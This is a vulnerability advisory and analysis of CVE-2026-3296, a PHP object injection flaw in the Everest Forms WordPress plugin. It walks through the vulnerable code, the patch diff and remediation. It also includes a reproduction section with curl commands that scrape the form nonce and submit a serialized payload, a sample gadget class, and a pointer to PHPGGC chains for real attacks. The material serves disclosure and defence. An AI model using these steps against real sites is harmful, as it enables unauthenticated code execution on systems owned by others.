CVE-2026-3296: PHP Object Injection in Everest Forms (CVSS 9.8)
Table of Contents
CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin, affecting all versions up to and including 3.4.3. It allows any unauthenticated attacker to inject a PHP serialized object payload through any public form field. When an administrator views form entries in the admin panel, the unsafe unserialize() call fires — triggering any available POP gadget chain in the environment, with potential for Remote Code Execution.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder |
| Plugin Slug | everest-forms |
| CVE ID | CVE-2026-3296 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated PHP Object Injection via Form Entry Metadata (Deserialization of Untrusted Data) |
| Affected Versions | <= 3.4.3 |
| Patched Version | 3.4.4 |
| Published | April 7, 2026 |
| Researcher | 0xsabre - Mobikwik |
| Wordfence Advisory | Link |
Description
The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP’s native unserialize() on stored entry meta values without passing the allowed_classes parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives sanitize_text_field() sanitization (serialization control characters are not stripped) and is stored in the wp_evf_entrymeta database table. When an administrator views entries or views an individual entry, the unsafe unserialize() call processes the stored data without class restrictions.
Technical Analysis
The vulnerability is a classic stored PHP Object Injection that follows a two-phase pattern: an injection phase (unauthenticated form submission) and a trigger phase (admin views form entries).
Phase 1 — Injection: Storing the Payload (Unauthenticated)
File: includes/class-evf-form-task.php
The form submission listener is hooked to the wp action (line 75), making it fire on every front-end page load where $_POST['everest_forms'] is populated:
// class-evf-form-task.php, line 75
add_action( 'wp', array( $this, 'listen_task' ) );
The submission handler (line 97) reads user POST data and passes it through evf_sanitize_entry() before processing:
// class-evf-form-task.php, line 109
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
Key point — evf_sanitize_entry() does not strip serialization characters:
evf_sanitize_entry() in includes/evf-core-functions.php (line 4707) applies sanitize_text_field() to the default field type case:
// evf-core-functions.php, line 4754–4761
default:
if (is_array($entry['form_fields'][$key])) {
foreach ($entry['form_fields'][$key] as $field_key => $value) {
$entry['form_fields'][$key][$field_key] = sanitize_text_field($value);
}
} else {
$entry['form_fields'][$key] = sanitize_text_field($entry['form_fields'][$key]);
}
sanitize_text_field() strips HTML tags, null bytes, and some whitespace — but it does not strip PHP serialization characters (O:, s:, i:, {, }, ;, "). A serialized object string like O:8:"EvilClass":1:{s:5:"field";s:5:"value";} passes through completely intact.
Additional bug: The
return $entrystatement at line 4764 is placed inside theforeachloop body, causing the function to exit after processing only the first form field — meaning most fields receive no sanitization at all.
After sanitization, the abstract field class format() method (called via the everest_forms_process_format_{type} action) applies evf_sanitize_textarea_field():
// includes/abstracts/class-evf-form-fields.php, line 2925
$value = evf_sanitize_textarea_field( $field_submit );
evf_sanitize_textarea_field() wraps sanitize_textarea_field(), which similarly does not remove PHP serialization characters.
The field value (containing the injected serialized object) is then stored in the database:
// class-evf-form-task.php, line 1326–1333
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
maybe_serialize() on a plain string returns it unchanged — the raw serialized object string is written verbatim into wp_evf_entrymeta.meta_value.
Phase 2 — Trigger: Deserializing on Admin Entry View
File: includes/admin/views/html-admin-page-entries-view.php, line 132–133
When an administrator navigates to wp-admin/admin.php?page=evf-entries&form_id=X&view-entry=Y, the template iterates over entry metadata and detects serialized values:
// html-admin-page-entries-view.php, line 130–133
$meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
This is the vulnerable call. unserialize() is called without the allowed_classes parameter. PHP defaults to allowing all classes to be instantiated during deserialization. If the WordPress environment contains a class with a magic method (__wakeup, __destruct, __toString, __get, etc.) that performs a dangerous operation, it will be invoked automatically when the administrator views the entry.
A safe wrapper, evf_maybe_unserialize(), already existed in the codebase at includes/evf-core-functions.php (line 5594):
function evf_maybe_unserialize($data, $options = array())
{
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // safe: no class instantiation
}
return null;
}
return $data;
}
This safe function was simply not used in the entries view template.
Root Cause
The root cause is the use of PHP’s native unserialize() without ['allowed_classes' => false] at html-admin-page-entries-view.php:133. The plugin developers had already written a safe wrapper (evf_maybe_unserialize()) that passes allowed_classes => false — but used raw unserialize() in the entries view template, bypassing that protection entirely.
Why Existing Controls Failed
| Control | Why It Failed |
|---|---|
sanitize_text_field() | Strips HTML tags and null bytes; does NOT strip PHP serialization characters (O:, {, }, ;). A serialized object string passes through unchanged. |
evf_sanitize_textarea_field() | Same behavior — wraps sanitize_textarea_field(), no effect on serialization syntax. |
WordPress nonce (_wpnonce{form_id}) | The nonce is embedded in the public form HTML page, readable by any unauthenticated visitor. It provides CSRF protection but not authentication protection. An attacker simply GETs the form page first to obtain the nonce, then POSTs with the payload. |
evf_maybe_unserialize() (existing safe wrapper) | Was available in the codebase but was not called at the vulnerable deserialization site. |
Attack Impact
An unauthenticated attacker can store an arbitrary PHP serialized object in the wp_evf_entrymeta database table. When an administrator views the entry in the WordPress admin, a PHP Object Injection chain is triggered. The achievable impact depends on what “POP gadget chains” (Property-Oriented Programming) are available in the WordPress environment:
- Remote Code Execution (RCE): If a suitable gadget chain exists among installed plugins, themes, or WordPress core (e.g., chains that invoke
eval,system,exec, or file-write operations via magic methods). - Arbitrary File Write/Delete: Via gadget chains that manipulate filesystem operations.
- Authentication Bypass / Privilege Escalation: Via gadget chains that modify options or user records.
- Data Exfiltration: Via gadget chains that perform HTTP requests or write data to accessible files.
CVSS 9.8 (Critical) reflects the worst-case scenario: no authentication required, no user interaction from the attacker, and potential for full confidentiality, integrity, and availability compromise.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
everest-formsplugin installed and activated - Plugin version <= 3.4.3
- At least one publicly accessible Everest Forms form embedded on any page
- A WordPress admin user who will view form entries (social engineering or waiting for routine admin review)
Step-by-Step Reproduction
Step 1: Obtain the form page URL, form ID, and nonce
Browse to any page on the target site that contains a public Everest Forms form. The form ID is visible in the hidden input everest_forms[id]. The nonce is in _wpnonce{form_id}.
# Fetch the form page (replace with the actual page URL)
TARGET_URL="https://target-site.example.com/contact/"
curl -s "$TARGET_URL" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+' | head -1
# Or look for: <input type="hidden" name="_wpnonce<FORM_ID>" value="<NONCE>">
# Also extract the form ID:
curl -s "$TARGET_URL" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
Record:
FORM_ID— e.g.123FIELD_META_KEY— thenameattribute of a text input, e.g.everest_forms[form_fields][abc123]NONCE— value of_wpnonce123
Step 2: Craft the serialized PHP object payload
For demonstration, use a benign payload that injects a stdClass object (no side effects — safe for testing):
# Benign test payload (stdClass with a property)
PAYLOAD='O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}'
For a real-world attack, replace this with a known POP gadget chain payload appropriate for the target environment (e.g., a chain from PHPGGC targeting a plugin known to be installed).
Step 3: Submit the form with the serialized payload as a field value
FORM_ID="123"
NONCE="abcdef1234" # Replace with actual nonce from Step 1
TARGET_URL="https://target-site.example.com/contact/"
PAYLOAD='O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}'
curl -s -X POST "$TARGET_URL" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][abc123]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
A successful submission returns the form’s success message or a redirect. The payload is now stored in wp_evf_entrymeta.
Step 4: Verify the payload is stored in the database
Using WP-CLI on the server (for verification):
wp db query "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 5;" --allow-root
You should see a row containing the raw serialized string O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}.
Step 5: Trigger deserialization by viewing the entry as admin
Log in to the WordPress admin panel and navigate to:
https://target-site.example.com/wp-admin/admin.php?page=evf-entries&form_id=<FORM_ID>&view-entry=<ENTRY_ID>
When the page loads, html-admin-page-entries-view.php iterates the entry metadata, detects the serialized value via is_serialized(), and calls unserialize() on it — instantiating any PHP objects in the payload.
Expected Result
With the benign test payload: no visible error; a stdClass object is created and discarded harmlessly. The vulnerability is confirmed by the fact that unserialize() processes the attacker-controlled value without restriction.
With a real POP gadget chain payload targeting a vulnerable class in the environment: the magic method (__wakeup, __destruct, etc.) of the gadget class executes, achieving RCE or another critical impact.
Verification
To confirm the injection is working without a gadget chain, check the PHP error log or use a custom PHP class loaded by a test plugin:
// Test plugin (test-gadget.php) - install on a test environment only
class TestGadget {
public function __wakeup() {
file_put_contents('/tmp/pwned.txt', 'PHP Object Injection confirmed at ' . date('c'));
}
}
After the admin views the entry, check:
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
Patch Analysis
What Changed
The fix is a single-line change in includes/admin/views/html-admin-page-entries-view.php:
| File | Change |
|---|---|
includes/admin/views/html-admin-page-entries-view.php | Replaced unserialize($meta_value) with evf_maybe_unserialize($meta_value) |
includes/admin/views/html-admin-page-entries-view.php | Changed wp_strip_all_tags() to esc_html() for plain text values (defense-in-depth XSS fix) |
includes/admin/views/html-admin-page-entries-view.php | Changed echo nl2br(make_clickable($field_value)) to echo nl2br(esc_html($field_value)) (XSS hardening) |
Fix Explanation
The critical fix replaces the unsafe unserialize() call with the safe wrapper evf_maybe_unserialize() that was already present in the codebase:
Before (vulnerable):
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value ); // no class restrictions
After (patched):
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = evf_maybe_unserialize( $meta_value ); // allowed_classes => false
evf_maybe_unserialize() passes ['allowed_classes' => false] to PHP’s unserialize(), which means PHP will only reconstruct scalar types and arrays — any object in the serialized data is converted to a __PHP_Incomplete_Class instance, preventing magic method execution entirely.
This is a complete fix for the root cause. No residual risk exists from this specific deserialization call.
The additional output-escaping changes (esc_html() replacing make_clickable()) provide further hardening against stored XSS, though they are not directly related to the PHP Object Injection vulnerability.
Code Diff (Key Changes)
--- a/includes/admin/views/html-admin-page-entries-view.php
+++ b/includes/admin/views/html-admin-page-entries-view.php
@@ -127,10 +124,11 @@
- $meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value );
+ // Escape plain text values; leave serialized data untouched for further processing.
+ $meta_value = is_serialized( $meta_value ) ? $meta_value : esc_html( $meta_value );
if ( is_serialized( $meta_value ) ) {
- $raw_meta_val = unserialize( $meta_value ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
+ $raw_meta_val = evf_maybe_unserialize( $meta_value );
@@ -200,7 +198,8 @@
- echo nl2br( make_clickable( $field_label_val ) ); // @codingStandardsIgnoreLine
+ // Output serialized non-array label value safely.
+ echo nl2br( esc_html( $field_label_val ) );
@@ -210,7 +209,8 @@
- echo nl2br( make_clickable( $field_value ) ); // @codingStandardsIgnoreLine
+ // Output plain field value safely.
+ echo nl2br( esc_html( $field_value ) );
Timeline
| Date | Event |
|---|---|
| April 7, 2026 | Vulnerability publicly disclosed by Wordfence |
| April 7, 2026 | Patched version 3.4.4 released |
| April 8, 2026 | Wordfence advisory last updated |
References
- Wordfence Advisory
- Vulnerable file — trac (3.4.3 tag)
- Patched file — trac (trunk)
- evf_maybe_unserialize() — trac (3.4.3)
- Changeset readme diff (3.4.3 → 3.4.4)
- Full changeset (3.4.3 → 3.4.4)
- CVE Record
Remediation
Update the everest-forms plugin to version 3.4.4 or later immediately.
If an immediate update is not possible:
- Restrict access to the WordPress admin entries view (
admin.php?page=evf-entries) via firewall or IP allowlist. - Monitor
wp_evf_entrymetafor rows containingO:at the start ofmeta_value(indicating PHP object serialization).